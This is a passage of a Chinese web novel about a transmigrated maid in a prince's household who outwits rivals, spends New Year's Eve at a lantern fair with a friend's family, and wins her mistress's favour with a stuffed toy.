没成想事情居然是这样子的,王妃脸上愠怒,“大胆!竟敢在正院内兴风作浪,菊霜是哪个?” 菊霜腿一软,当即跪下,陈嬷嬷见状,朝粗使婆子们挥了挥手,几个婆子便把她拖了出来,压在晴雨身边。 “王妃,奴婢冤枉啊。”菊霜身体抖得不成样子,往日里的气焰完全熄灭了,只剩下战战兢兢。 “冤枉?”王妃厌恶地瞧着她,“晴雨开头也说冤枉,后边不也交代了这些腌攒事,本王妃只问你,你有没有让晴雨诬陷构害竹清?” “奴婢、奴婢……”菊霜面对气势凌人的雍王妃,都不能思考了,想不出借口,哪里敢再欺瞒,当即磕头认错,“奴婢一时鬼迷心窍,这才犯下大错,奴婢已经知道错了,求王妃饶恕,王妃息怒……” 整个正院都是菊霜凄厉的喊叫声,仿佛只要喊得足够大声,雍王妃就能如她所愿饶了她似的。 竹清缓缓勾起唇角,菊霜和晴雨被她打了一个措手不及,两个人在这种压力下只会认错,却很难辩解她们没有偷她的东西,如此一来,她就成功把偷盗的罪名安在她们两个身上。 这种滋味不好受吧,竹清站在台阶上斜睨着脸肿成猪头的两个人,差点受罪的就成了自己了。 雍王妃闭上眼,觉着吵耳朵,她摆摆手,陈嬷嬷领悟,高声吩咐道:“罪婢菊霜,心胸狭隘、不守规矩,在王府里欺上瞒下,作奸犯科,掌嘴!” 旋即,噼里啪啦的巴掌声取代了求饶声,一些丫鬟别过头,也不敢瞧这令人发怵的一幕。 多可怕呀,不过也是菊霜活该,在正院里还不安分。 掌嘴的期间,暖春和绘夏带着一些丫鬟婆子进去搜查晴雨和菊霜的东西,片刻后,她们捧着几个盒子出来。 暖春曲身,说道:“回禀王妃,从晴雨的首饰盒子里寻到了一些珠钗,是王爷与您赏赐给竹清的,另外……” “罢了。” 雍王妃一出声,掌嘴声戛然而止,她环视一周,最终视线落在竹清身上,充满怜爱地看了她一眼,随后又看向地上不成样子的两个人,吩咐道:“陈嬷嬷,去给本王妃调查清楚,在这件事中,除了她们两个,还有谁参与了?竹清的首饰盒子如何能让她们打开了?晴雨偷懒却没有人上报,当天负责监督的人是谁?” 这林林总总的,得连萝卜带泥拔出不少人。 这俩人就被拖走了,王妃没有说如何处理她们,但是想也知道,这结果大概不会是好的。 “竹清。” 竹清缓步到院中福身,“奴婢在。” “此番事情是你受了委屈,自今日起,菊霜二等丫鬟的位置便由你来替代,她做的活计是去厨房领膳食,轻松,你也能应对过来。”雍王妃沉声说道,这个意思就是竹清目前要领膳食,同时不能抛掉制香。 竹清内心一喜,面上露出恰到好处的表情,回答道:“是,奴婢谢王妃。” 调查一时半会出不了结果,所以今夜就散了,竹清回到厢房,轻轻暼了晴雨的位置一眼,被翻找过的行李被褥乱糟糟的,还有一些甩到了她的位置。 其余两个丫鬟看着她的脸色,讨好似的齐声说道:“竹清姐姐,晴雨的东西就由我们来收拾,你先休息。” 竹清颔首,温声说道:“麻烦了。”一点儿也看不出来先前把晴雨骂的哑口无言的不好惹的样子。 第二天,竹清起来先为自己梳了一个堕马髻,显得成熟稳重几分,再戴一些符合身份的首饰,整个人就有些不同了。 如今竹清已经可以熟练地梳各种 第 33 章 除夕夜(修改) 《古代丫鬟升职记》全本免费阅读 除夕那天,竹清在申时下值与竹溪一同出了王府,竹溪叽叽喳喳地说道:“竹清,你就与我家去,我娘亲今天没有当值,与我嫂嫂在家里做好吃的哩!” “用罢年夜饭,咱去东桥那边顽去,我们一家子都去呢,你是我姐姐……妹妹……”竹溪小脸纠结,到家了也还没想清楚。 她娘亲袁续花袁娘子正在家里使着力气揉面团,一瞧自个儿女儿的模样,就笑了笑问道:“这是怎的了?脸鼓成包子脸了?” 竹清先是把路上买的年礼递给竹溪嫂嫂,随后逐个喊人,“袁娘子,石哥儿,陈娘子。” 竹溪嫂嫂姓陈,喊陈娘子也合适。 随后她解释,“竹溪在想叫我姐姐还是妹妹,想不明白就这样了。” “姐姐妹妹都成,你们各叫各的。”袁娘子说,竹清与竹溪感情好,她也乐意。 在院门口玩小炮仗的浩哥儿噔噔噔跑进来,扯了扯竹清的衣摆,虎头虎脑地说道:“姑姑,你没有叫我。”原本他是想喊姐姐的,不过她是姑姑的密友,他也就一同喊姑姑了。 “呀,姑姑漏了浩哥儿,浩哥儿除夕快乐。”竹清很喜欢竹溪的小侄子,可爱的紧,她从袖口里摸出一个荷包,说道:“喏,这是姑姑给你的礼物,拿着吧。” 她还小,也不说这是红封。 浩哥儿双手接着,奶声奶气地道谢,“谢谢姑姑。”旋即,他又看向自个的亲姑姑竹溪。 教浩哥儿这么一看,竹溪就叉着腰,佯装生气地戳了戳他的脑袋,“好啊你,净瞅着姑姑的荷包了是不是?”说罢,她拿出一个金锁,戴在浩哥儿脖子上。 陈娘子刚放好礼物,出来一看,脸上嗔怪道:“去年才买了两个银镯子,这就够了,今年怎的买这样金贵的首饰给他,教他一会儿得意起来了。” 虽是这般说,但是陈娘子脸上是笑着的,小姑子能与儿子买贵重东西,证明感情好,她巴不得他们一直这样呢! “这值当什么,等明年儿,我给浩哥儿打个金项圈,镶玉石的那种。”竹溪摆摆手,又转了个圈,“这身织银的衣裳还是嫂嫂你买料子做与我的,我还没得意呢。” 正是陈娘子对她好,她也对小侄子好,感情都是相处出来的。 “你们两个顽儿去吧,喏 ,这里买了那种一筒一筒的坐炮,拿去顽。”袁娘子揉好面,又吩咐儿媳热锅倒油,预备着炸丸子。 “好,那我们与浩哥儿一齐顽,用饭了叫我们。”竹溪拉着竹清出去了。 “这坐炮灰扑扑的。”竹清说,她手上的坐炮其实很小个,口子与喝茶的茶盏差不多,高度么,大概七厘米,与她想的那种冲天炮完全不一样。 “这是最下等的坐炮,十五个铜板一个,最贵的……浩哥儿,最贵的多少银钱?”竹溪问。 别看浩哥儿人小,在这些事情上可是说的头头是道的,“最贵的,包装最好哩,像那种灯笼一样,贴着好看的图案,好大个的,嗯……有浩哥儿膝盖那么高,一个就要几两银子。” 浩哥儿倒是没有教长辈们买给他,几两银子,也不是他顽的,他顽这种就很好了呀。 竹清亲手点燃了一个坐炮,过了一会儿,只听“嘭”的一声,半空出现一个耀眼的焰火,寒冷的空气中飘着一股子火药的味道。 “好好好。”浩哥儿并几个小萝卜头搁旁边鼓掌。 玩罢炮仗,院门口进来两个男人,一个年长些,一个年青些,模样有些相像。 竹溪喊道:“爹,哥哥。” “诶,来,爹给你们买了好东西。”他从怀里拿出一个旧旧的羊皮小包,里边装着三根金钗,金钗上边还雕刻了花纹图案。 一根给竹溪,一根给了竹清,竹清接过,连忙说道:“伯父,这太贵重了。”金钗不算重,但也是实心的,这么一根就得五六两银子。 “这妨碍什么事,你和竹溪顽得好,我也当你是半个女儿,买给女儿的,你就收了吧。”马管事说,他是帮着王妃管铺子的掌柜,也攒了一些银钱,更不用说今年王妃有孕,赏钱厚了几分,为着家人买东西,不亏。 再说了,他冷眼瞧着,外边天灾人祸频发,物价上涨,都说盛世古董乱世黄金,他买些金子做的物件藏家来,有什么事也能用得上。 马管事一边慈祥看两个小娘子帮着对方戴金钗,一边摸了摸自个的胸膛,他置办的金银货,还在。 竹清刚戴好金钗呢,就听见里边传来袁娘子的娇喝声,“真是不当家不知柴米贵,买恁贵的……” 她俩进门帮忙端菜,竹清暼了一眼,袁娘 子转个身的功夫,摸了头上的钗子不下三次,欢喜着呢! 菜式很丰盛,五个肉菜两个素菜一个汤,炸丸子、年年有鱼、红烧肉、糖醋排骨、红焖猪蹄,素菜是一碟清炒小白菜和辣黄瓜,汤则是自家养了一年的老母鸡煲的鸡汤。 别看他们一家生活不错,但是鸡鸭鹅什么的,在后边也是养着的。 马管事作为一家之主,站起身,举着小小的酒杯,说道:“新的一年,咱家齐聚一堂,不求来年大富大贵,只求个个都平安健康。辞暮尔尔,烟火年年,朝朝暮暮,岁岁平安。” “好。”余下的人也跟着起身,竹清一口闷了,大文朝的酒度数都不高,不咋醉人,一杯下肚,红脸都没有。 言罢,开始动筷子,马家没有食不言寝不语的规矩,袁娘子取笑他,“年年都是这几句话,也没个新鲜玩意,我看明年清姐儿来我们家过年,还要再听你的老三样,耳朵都得起茧子咯。” “我不就学到了这几句,再多的,等浩哥儿上学堂了,家来告诉爷爷。”马管事一杯接着一杯,好不快活。 竹清沉浸在这祥和的氛围里,外头鞭炮声不断,屋内暖洋洋的,桌上的饭菜散发着香味,她细嚼慢咽地吃着,时不时地插个嘴,倒也完全融入了马家里。 用罢饭,马管事、袁娘子、马大哥和陈娘子都亲手给了红封,竹清接着,又道了谢。 袁娘子拉着她的手,“傻孩子谢什么,都是应该的,你叫我一声袁娘子,就是咱家的人了,不怕你笑话,我一看你,就觉着亲切。” 竹清感受到袁娘子的亲昵,自然也说好话,这一来一回的,感情就上去了。 虽说袁娘子的做法不全是真情实感,也有几分算计在里边,不过她与他们一样,都想交好。 马管事在一旁看着,也笑了,闺女儿有个能干的姐姐在王妃身边伺候,这是求也求不来的好事儿。 如此这般,竹清与马家一大家子一齐出门了。 街道上车马蜿蜒,华盖如云,游人如织。 小孩儿都被家中长辈放在肩膀上,现在拐子可猖獗,特别是灾民难民多,他们一拐走孩子,饿上十来天,饿瘦孩子,谎称是流民,就把孩子带出去了。 “你们可别离得太远了,一会儿被冲散了。”袁娘子嘱 咐道,她一手牵着竹溪一手带着竹清,说道:“你们是不知道,像你们这般模样端正的小娘子,可是拐子的最爱,甭说远的,就咱家后面院子里的一户人家,就丢了个小娘子。” 说到这个,陈娘子也插话,“我记得,还是我嫁进来那年不见的,十五岁了,还有三个月就成亲,结果除夕夜逛夜会,家人一个错眼,她就找不到了。” “报了官,你们猜怎么着?”袁娘子自个解答,“一去官府,十来个人堵住,说小娘子大媳妇,小儿子大孙子的不见了,遭了拐子的手,再没找回来过。” 这边说着拐子呢,那边人堆里就有两个慈眉善目的老人打量着竹清和竹溪。 “这两个不错,卖去青楼楚馆,价钱不低。” “跟上,看看有没有机会。” * 东桥是盛京城有名的坊市,因有一条长桥得名,长桥下方的流水上正飘着许多许愿灯,什么样式都有,大一点的镂空雕花的四方形的纸灯,四个面都写着一些吉祥话,什么平安如意、平安喜乐,一个三个铜板。还有些小的是做成莲花形状的,精致不说,灯芯也不容易灭,这种贵一些,一个要六个铜板。 这条还算宽的河上,一些许愿灯熄灭了,一些明明灭灭着飘向远方。 上空也逐渐填满了长明灯,像是星子,照亮了黑夜。 竹清深呼吸一口气,猝不及防地咳嗽几下,“咳咳咳咳……”都是香烛的气味! “长明灯长明灯,这个是保佑家宅平安的,这个是保佑大富大贵的,娘子买一个吧,一个三文钱。” “粘包粘包,烤过的能拉丝的,热乎乎的粘包诶,有甜有咸,妈妈娘子们,走过路过瞧瞧诶,买个给孩子吃吧!” “络子络子,荷包荷包,还有手帕,娘子们瞧瞧吧,都是自个绣的,花样是盛京城最流行的,用红丝线绣的,吉祥衬新年。” 尽管寒风吹个不停,路边一个个小摊上叫卖的人可是卖力得很,卖吃食的最多,鲜肉馄饨、锅粘包、烙饼、烤的各式吃食。 放眼望去,摊位一个连着一个,望不到头呢。 竹清看花了眼,浓重的氛围也感染了她,她看向挂福袋的大榕树,寻思着自己要不要买一个丢上去。 寻个安心。 竹清 在烤摊上停了下来,她伸头瞅了瞅,发现这里的烤制方式与后世类似,几个小泥炉上边放着一格格的铁网,下边是炭。 别以为古代人什么都不会,人家物产不丰富,更是往死了里面琢磨吃的,煎炸炒煮,就没有不擅长的。 “小娘子瞧一瞧,想吃什么与我说,有五花肉、小蛤子、鸡翅鸡翅尖、鸡腿……若是觉得荤腥了,这儿还有小白菜、辣椒、圆葫芦、韭菜……都是自家种的,来之前才摘了洗过,干净新鲜。”跟着郎君出来摆摊的娘子拿着一条布在招揽,她看竹清穿戴好,要是在吃食上肯花钱,那他们今晚可就不用愁咯。 想着,她直接拿起两串烤韭菜,递给竹清和竹溪,说道:“来来来,这本来是郎君烤与我暖身子的,与你们尝尝,小娘子们觉着好,就点上几串。” 烤韭菜摊开烤,烤完就卷起来,让客官们吃得斯文。 竹清接了,咬上一团,辣辣的,不知是什么粉料,辣度刚刚好,也不油腻。 竹溪眼睛都亮了,“好吃!” 竹清吃完手上的烤韭菜,就开始点烤串,因着几个人吃,点的也多。 马管事见竹清掏银钱,也不制止,一家人不说两家话呢,太客气了反而不好。 烤摊的小娘子招呼他们坐下。 “等下有烟火看,各位郎君小娘子就吃着烤串瞧,咱家这个位置,能瞧见一半的烟火呢!”她说。 竹溪也点头,凑到竹清耳边说道:“你不知道吧,子时一过,皇城内就会放烟花,五颜六色的,可好看了。” 说着,她又羡慕能跟着雍王妃进宫的姐姐们了,“我以前听暖春姐姐说,她们在皇城的朱雀台那里登高看烟火,那叫一个清楚呢。” “我也想进宫看看。”竹溪叹气,不过她是不能够了,“竹清,你肯定可以的,王妃会轮流着带大丫鬟去,说不定明年你就能进宫了。” 竹清想了想,也许不用到明年后年也能进宫,旁的不说,雍王的生母淑妃就经常让雍王妃进宫,不是大节日,她应该也可以跟着去的。 烤串很快就好了,浩哥儿人小但是吃得多,肚儿吃得圆滚滚。 他们想着边逛边吃,剩下的让小娘子打包了。 “咱们去猜灯谜吧,猜完还能去瞧瞧聚仙楼有没有位置 。”竹溪说,聚仙楼有四层,在这样的大节日是放开了让人上去的。 一顿疯顽过后,竹清几人手上都拿着一个两个物件,什么灯笼、福袋,连竹子做的小帽子也有呢! 聚仙楼上面早没有了位置,最高处因着位置好,早早被人预订了,轮不到他们去。 正走着呢,忽然大街上响起一阵儿声音,“有拐子,有拐子啊!我的孙儿我的孙儿……” 叫声撕心裂肺,人群迅速骚乱起来,很快,就成了人挤人的情况,竹清原本和竹溪站得挺近的,被大妈妈们一挤,瞬间与马家一家子分开了。 人潮汹涌,竹清只能被裹挟着前进,不知去到哪了,她也没有来过这儿。 “嘶。”一股外力撞来,让她撞上了路边荷包摊的尖锐桌角,不过因祸得福,这儿刚好有两个石阶,让她松了一口气。 总算不用被挤着了。 “哎。”石阶上还有一个穿着精致的娘子,约莫三四十岁,头上戴的饰品都是华贵不凡。 起码竹清在盛京城的铺子里没见过这种款式,倒是雍王妃的妆奁里有类似的首饰,她若有所思。 瞧着这娘子不舒服,她主动开口问道:“娘子这是怎的了?需要我扶你去瞧郎中吗?” 那娘子抬头,露出一张保养得宜的脸皮,摇摇头,婉拒道:“不必了,家中小辈很快就会找来。” 都说了有拐子,哪怕像面前这个白白净净的小娘子不是坏人,她也不可能跟着她走的。 竹清点点头,也不多说,只是如今人群还在闹腾,她踮起脚也找不到竹溪她们,一旁的大娘子时不时地出声,看上去疼痛难忍。 她捂住膝盖,唇色白了起来,连额头上也冒出来了层层的密密麻麻的汗珠子,“啊!”到底没忍住,她喊了喊。 竹清没办法忽视她,也再次找到了搭话的借口,“你是膝盖疼?今儿刚刚下了雨,你是不是觉得膝盖针扎似的疼,而且还有些痒,抓痒却也解不了?” “你如何知道的,会医?”这下,大娘子真的抬眼仔仔细细打量竹清了,她没想到,一个不大的小娘子一开口就能把她的症状说的七七八八,有本事着嘞! “会,你若是信得过我,我替你治一治。”竹清说。 大娘子倒是奇了,“你这 一没有看诊的器具,二没有药物,怎么给我治?” 竹清从袖口摸出一副银针,淡淡地笑了笑,“信吗?” 银针泛着寒光,有些与她见过的针相似,更多的,却是没见过,原是不想相信的,只不过膝盖疼得不行,也不能立马找到郎中医治,大娘子虽疼得咬牙,却还是强打起精神来说道:“不必了,多谢你的好意。” 她怎可能在大街上让一个不认识的人替她治病?长期处于尔虞我诈之中,她可不会轻易相信一个人。 这般想着,她扶着一旁的石壁起身, 第 34 章 事业更上一层楼 《古代丫鬟升职记》全本免费阅读 那掌柜的最会察言观色,眼见这小娘子已然有些想明白了,就说道:“想必您也知道了?我也不好高声喧哗,那就请您赏个脸,带着亲朋好友入座?席面儿已经准备妥当了。”他其实也是听从主家吩咐,一点儿也不清楚是谁邀她的,不过这并不妨碍他伸手,做出请进的动作。 “清姐儿?”马管事与袁娘子相互对视一眼,竹清没有什么亲人,哪个贵人请呢? 竹清不是个犹犹豫豫的性子,若是不去,只怕让那个大娘子心慌了,更何况,她还没有去过聚仙楼的顶层,这么想着,她就对竹溪他们说道:“既然掌柜的相邀,甭管什么角儿,咱们就一同上去赏个夜景,如何?” “爹,娘。”竹溪看向父母。 “那今儿就让伯父沾一沾你的光啦!”马管事笑眯眯地说道,他心里琢磨这件事,面上倒是和蔼得紧。 很快,一行人随着上了四层,竹清边上楼梯边往下看,能瞧见底下旋转的扶手,整个聚仙楼都是木料建成,她不禁感叹古代人真的很厉害。 在一众食客们艳羡的目光下,她们于四楼的雅间落座,掌柜的拍了拍手掌,一早就候着的店小二鱼贯而入,一道道金贵少见的菜色被摆上桌,什麽橙蟹、鱼翅、熊掌…… 可都是不好找的材料。 “贵人可是说了,请小娘子放心在聚仙楼顽儿,这雅间本是她定的,现下来不了了,也请小娘子替她多看一看盛京城的风光,以后见了,好讲给她听。” 竹清点了点头,明白了那姓名都没有留下的大娘子的意思,以后她们还会再见的。 等人都出去了,竹溪迫不及待地问道:“竹清,这是哪个请你?听他的意思,来头不小啊。” 桌上其他人也竖起耳朵来听,竹清浅浅地笑道:“我也不知,不留姓名的,或许以后见了,也就认识了。”她说罢,话锋一转,“来尝尝这些菜,这个季节还有虾蟹,那可是不多得的。” 见她不欲多说,袁娘子一把扯住了自个家的傻女儿,也附和起来,她女儿虽与竹清交好,但也得有个分寸。 倒也不是竹清故意不说,只不过她也不确定下一次见是什么时候,说出来又有什麽意思呢? 子时一晃就到了,皇城的方向燃起巨大的烟火,砰砰砰的响声,绚丽多 彩的烟花就在黑夜的空中炸开,在一声声新年快乐中,新的一年到了。 “爹娘,哥哥嫂嫂,竹清,新年快乐。”竹溪眯起眼睛说,傻乐。 街上的人也互道吉祥话,甭管认不认识,就取个好意头,为这新年增添光彩与热闹。 竹清抬头看向不断的烟花,她的眼睛里倒映金色的火花,整个人模糊在光影里,教人瞧不清神色,半响,她重重地说了一句,“新年快乐!” 新年,她来到这个世界的第一个新年,也是她在雍王府的第一个新年。 兴许,往后的无数个新年,她都是这般过了。 * 新年的凌晨,竹清朦胧着双眼起身,昨儿她与竹溪顽得疯了,很晚才归府,竹溪还好,没什麽她的事,她就直接家去了。 而她,拢共睡了不到一个时辰,还要伺候同样晚归的雍王妃洗漱。 “竹清姐姐,新年好。” “竹清姐姐,新年快乐呀。” 路过抄手游廊,小丫鬟们俱都朝气地笑了笑,朝竹清打招呼。 竹清进到里间,见雍王妃已经醒了,不过靠在床头,神色倦怠,眼下的乌青挡都挡不住,她不甚体面地打了一个哈欠,伸出手,竹清旋即上前扶她起身。 跟着竹清进来的小丫鬟们已经摆好洗漱更衣的物件儿,暖春与画屏歇息去了,绘夏也忙,她今儿要与雍王妃进宫,不过新年第一天,只早上进宫见过圣上皇后以及淑妃即可,太后是不见人的。 “昨儿顽得如何?”雍王妃闭着眼睛,等着竹清给她梳发。 竹清不好意思地说道:“不怕王妃笑话,到现在奴婢还想顽呢,走街串巷,州桥夜市,哪一样都让奴婢念念不忘。” “你呀,不过你年纪小,是该好好顽闹,本王妃身边三个大丫鬟都一派老成,有时候瞧着你,心情就跟闺中一样了。” 能伺候她的,少不得稳重妥当,要达到这样的要求,都是用年龄堆起来的,竹清麽,算是一个异类。 不过也合该这般才是,暖春三个若是不仔细瞧,仿佛用同一张脸似的,一样的老成、一样的沉稳,倒教人分不清了。 “奴婢该当差的时候也不敢胡来,跟三位姐姐学着呢,只不过王妃允许,奴婢才去瞧一瞧,说来,奴婢其实做了 新年礼给王妃。”竹清已经替雍王妃梳好发髻插好首饰了,这才见缝插针地显示自个的孝心。 不过麽,三个大丫鬟也都准备了新年礼给雍王妃的,她可不算独一份儿。 “哦?让本王妃瞧瞧,你这个滑头买了些什麽,暖春绘夏伺候本王妃多年了,来来去去就是那几样,画屏前个送了绣的贴身衣物。”说着,雍王妃从铜镜中看向竹清。 竹清往后看了一眼,其中一个小丫鬟就上前把一个礼盒递给竹清,竹清道了一声谢,又半蹲着,让雍王妃能够趁手打开盒子。 啪嗒一声,盒子开了,里边放着一个鼓鼓囊囊的东西,外表是一只可可爱爱的小兔子,叼着胡萝卜,胡萝卜上面还绣有新年快乐几个字。 小兔子一只大眼睛眯着,嘴巴是弯起来的一条缝,雍王妃哪里见过这个?拿起来揉捏一番,喜爱之情溢于言表,问她,“这是什麽?本王妃以为是个摆件儿,软软的?倒是与本王妃的生肖一样。” 竹清回答道:“回王妃的话,这是用棉花填充以及绸花锦做的皮子,奴婢愚钝,给它起了一个名字,叫玩偶。” 是的,她给雍王妃送的,是一个玩偶,不过材料是她搜集的,画了图,让袁娘子缝制。 她不害臊地说这是自己想出来的,这也是没办法,只要脸皮厚,能讨主子欢心,哪管那么多? 若是旁的,刺绣、做荷包甚麽的,她天然比不过暖春她们,做相似的又得不了关注。所以她只能讨个巧,用容易找到的材料做一个她们都没有见过的礼物。 “玩偶?能顽的,又形似人偶,不错。”雍王妃斜睨着眼睛,玩笑着问道:“暖春她们可有?” “没呢,奴婢独做了一个,只献给王妃。”竹清说,多了就不值钱了,她也有礼品赠送给暖春她们,不止是她们,正院里的丫鬟婆子们都得了她的东西。 也是跟三位大丫鬟学的,不拘送什么东西,但是要有。 “嗯,不错。”雍王妃点点头,她独一份,连雍王也没有的,她还在看,边看边琢磨道:“要是父皇也能看见这个,保不齐心情愉快些。” 虽说有抱枕,不过这个玩偶样式之前没有啊,新鲜玩意,总归能得点目光。 “若是王妃想要献给圣上,最好的莫过于做一条金龙式样 的。”竹清低声给建议。 “是了,而且金龙一定要长,再在上边绣几个福字,圣上、太后、皇后和淑妃娘娘都要进献,不过得换个花样……”雍王妃很满意,这是个体现孝心的举动,就像竹清献给她一样,她夸了一句,“你是个机灵的,这是怎的做的?你与我说来。” 很快,前院应酬好的雍王也来了,他与雍王妃一同上桌,听着竹清说道:“这是王妃赐给奴婢的绸花锦做的皮,外边贴的是兔毛,里边是棉花,至于缝制,是奴婢请绣房的袁管事袁娘子做的。这玩偶可以当抱枕,也可以当个摆件,不拘在床榻还是美人榻上,亦或是太师椅上都能用,枕着腰是极好的。” 雍王瞅了瞅兔子玩偶,又听见雍王妃要进献的想法,不由得也沉思下来,现在圣上心情阴晴不定的,对他以及其他两个儿子都没什么特殊对待,他们事情干得好也只有嘴上不咸不淡的夸赞几句,谁要那几句话啊? 宣王和祁王,包括他,哪个不对那个位置有想法? 这能显示孝心的,可以试试,再者,这也不干朝堂的事,想来,父皇会给个笑脸的。 “此事就交由王妃了。”雍王同意了,雍王妃嘴上说应该的,实际上在想,这玩偶拿来走礼也是个稀罕玩物,如果她的铺子里卖这个,说不准也能赚钱,她手里有几家脂粉衣裳铺子,利润很高,贵妇姐儿们的银钱,太好挣了。 “对了,年礼都送到各家去了罢?”雍王问,雍王妃点点头,“送了,姻亲关系的送的最早,像剩下的丞相、尚书等等的,有些收了,照常回礼,有些则是不收的,妾身都记下了。” 雍王叹气,“知道了。” 按理说,该是臣子讨好皇子,可是恰恰相反,圣上对于笼络朝臣的举动很是忌讳,他们这些儿子,得不到朝臣们的关注。 毕竟圣上前头还有一个儿子,因着一个尚书为他说了两句好话,不仅王爷被削爵位圈禁,那个尚书也流放了。 为甚麽呢?因着当今就是联络朝臣谋朝篡位的,于建贞三十六年的宫变中杀害了十数个亲手足,那时的先帝气血攻心活活被气死,废太子也被他下令射杀。 他怕儿子们走他的路,更怕自个的下场与先帝一般。 雍王吃了一碗粥就走了,外头有人给他拜年。虽都是些小官 员,不过也是他现在唯一能抓住的人脉。 等他离开了,雍王妃才问竹清,“你觉着,用玩偶送礼还有做买卖如何?” 竹清一愣,随后不禁感叹,雍王妃要是搁现代,说不定也能混得风生水起,这么快就想到了做买卖。 她若是不做丫鬟,开个这般的小店,也能混得有模有样。 竹清说道:“这个玩偶,拼的就是一个稀罕,若只有一个款式,倒也不美了,旁的铺子也能学去了。” 别的不说,就其他两个王妃,恐怕多多少少也会有想法。 “有道理,你继续说。” “奴婢想着,玩偶不拘做多大,小也有小的好处,大大小小组成一个盒子来卖,兴许更得客人们的欢心。其余的,奴婢见识少,也不知道了。” 再多的,竹清就不说了,一则,她只是一个平平无奇的小丫头,二则,她不是铺子的掌柜,铺子盈利好了,她跟着沾光。 没有利益的事,她不干。 雍王妃自个低头想,等用完早膳,院子里的人聚集给她拜年后,所有人都得了一个荷包,里边有重重的银两,往上抛一抛,发出碰撞的沉闷的声音。 “竹清颇得本王妃心意,再赏一个。”雍王妃对陈嬷嬷说,陈嬷嬷很快亲自递了一个荷包给竹清。 竹清领了,又恭恭敬敬地谢恩,这是她刚才出主意,雍王妃给的赏钱。 她不动声色地掂了掂又捏了捏,嗯,有金花生,得空拿出去金铺称一称。 赏完全府上下,雍王就与雍王妃进宫了,他们午膳在宫中用,是为家宴,家宴一过,这正月里他们就不用大张旗鼓的进宫了,相互探亲,有喜事的就办喜事或者去吃席。 午时,画屏醒了,醒来就看见竹清在捣鼓什么东西,她懒懒地问道:“没出去顽儿?” “不了,昨个顽够了,何况我一个人逛街,不安全。”竹溪回老家探亲了,只她一个人去,没意思。 “那你在做甚?香香的。”画屏问,这个厢房只住了她们两个,屋内的炭火哄得暖暖的,她便只穿个单衣出来,边洗漱边看。 “润肚皮的膏子,我想着王妃有孕,过几个月肚子逐渐大了,怕有纹,我提前准备着,还有润脸皮细纹的。”竹清在现代见惯了各种护肤品,她自 己制作起来就更为大胆,什么料都敢用,效果麽,比起这里的膏脂要好上不少。 她捶打着鲜花汁子,惋惜自己不能做生意,不然就像今天雍王妃说的,玩偶都能买卖,利润还不低。 何况她还会看病制香美容…… 死契害人啊,不过原主是想多卖点钱厚葬母亲,只这一点,就让她无比赞同了,没事儿,反正她已经升职加薪了,要是雍王妃能成为皇后…… 打住! “润皮子的?”画屏眼睛一亮,穿好衣裳后赶忙凑过来,闻了闻,惊讶道:“好香!” 竹清得意道:“可不,我找花房管事姑姑要的桂花,本来就香,捶出汁水香味就更重了。”她想用别的香味,不过选择很少,叹气。 “竹清……”画屏软着声音,眼神落在桂花上,竹清的医术还有制香什麽的,她们都看在眼里,一点儿不假啊,有效果! 竹清伸手拍了拍自己的肩膀,画屏很是上道,给竹清捏肩,边说,“竹清姐姐,你看我不喜欢桂花味。” “那我到时候给你弄几个没有味道的,暖春还有绘夏姐姐那里就参半。”竹清说,也许她们也会拿去做人情,除了她,三个大丫鬟都是有亲人的。 “竹清姐姐,你真好。”画屏撒娇,甭看她比竹清大不少,但是容貌的事就没有小事,矮着身子也不妨事,只要有美容的膏脂! 约莫是真的很想拥有日进斗金的铺子,刚 第 35 章 结仇 《古代丫鬟升职记》全本免费阅读 马车略有些颠簸摇晃,一阵儿过后,外头的小丫鬟脆生生地说道:“启禀王妃,燕国公府到了。” 帘子被掀开,竹清率先扶着小丫鬟的手下了马车,然后她转身,扶着陈嬷嬷下来,又与陈嬷嬷一道,小心翼翼地让雍王妃下来。 此次出来,雍王妃一共带了十来个丫鬟婆子,小厮粗仆也有十来个,不过他们是不进内府的,只在主人家准备好的院子略微歇息等着主子吩咐。 早有人去禀报,这不,雍王妃一下车,就有一个穿着打扮低调精致的娘子迎上前,她头上没甚麽繁多的头饰,只几个点翠式样的华美之物。她身后,并两个容貌姣好梳着妇人发髻的小娘子,打扮也同她一般。 “燕国公府万氏携独孤氏与林氏见过雍王妃,王妃一路来想必也累了,快快让妾身带您上座。”打头的大娘子行了礼,报了名号,如此,就让人知道了身份。 竹清一听就把她们与请帖上的姓名对上号了,万氏是燕国公府国公夫人,独孤氏与林氏是她的两位儿媳,这里的儿媳,指的是嫡子的妻子。 实际上,燕国公府庶子庶女一大堆,不过都是不作数的。 雍王妃走在正中间,问她,“那些个小娘子们公子哥儿们顽起来了没,我可有好一段日子没见过冰嬉与打冰球了,这回要好好看看。” “还没呢,俱等着王妃您,妾身那孙女还说呢,定要赢了今儿的溜冰。”万氏笑着说。 一行人穿过几道拱门,再跨过一座平桥,就到了燕国公府的花园湖泊。 湖早已经结冰,不少哥儿娘子们穿着劲装,在活动着自个,瞧见雍王妃来,优雅地行礼。 其余两位王妃没有来,此处身份与雍王妃不上不下的,也就是大长公主唯一一个女儿,昭平郡主。 两人见了平礼,随后各自坐下,昭平郡主说道:“可把你给盼来了。” “难得的晴天,外头人多,马车行的慢,故而略迟了。”雍王妃解释了一句,又从头上拔下一根宫里制的流苏,放到丫鬟端着的盘子上,说道:“这是本王妃添的礼。” 昭平郡主眼神扫过那根流苏,眼里晦暗不明。 竹清听着丝竹管弦的声音,就知道溜冰宴开始了。她眼睛都要看不过来了,从第一声丝竹声传出后,偌大的冰 面上就有红衣金带的舞姬们翩翩起舞,这是热场子的冰嬉。 冰嬉过后,才到哥儿娘子们上场。 “见过雍王妃。”右边,一个夫人领着一个小娘子来拉家常话,雍王妃抬手,“免礼。”她看了看自个的婶婶与堂妹,“惠姐儿这是准备溜冰的?” “正是,等这舞跳完,她就得去了。”三十多岁的大娘子回道,她看着风光无限的雍王妃忍不住羡慕,要是自个的女儿也能这般就好了,不过,家里郎君给惠姐儿相看的哥儿也不差。 “来,让本王妃瞧瞧,有几年不见你了,愈发出落了亭亭玉立了。”惠姐儿把手搭到雍王妃手掌心,两姊妹就叙起旧来。 竹清原本欣赏着衣诀纷飞的舞女们,忽然一阵风缓缓吹过,带来了许多脂粉香气,什麽梨花香、桂花香……等等,好似有一种香气不对劲。 她低头,灵敏的嗅觉一下子让她知道了那股香气来源是谁,惠姐儿。 她的状态明显的不对劲,似乎很是精神,与雍王妃聊天时,一个人便能说上好几句。 “瞧你,与雍王妃聊得这样起兴,知道你们姊妹情深,也要注意时候,到你溜冰嬉戏了,快去吧。”她娘亲赶忙岔开,生怕自个女儿没完没了。 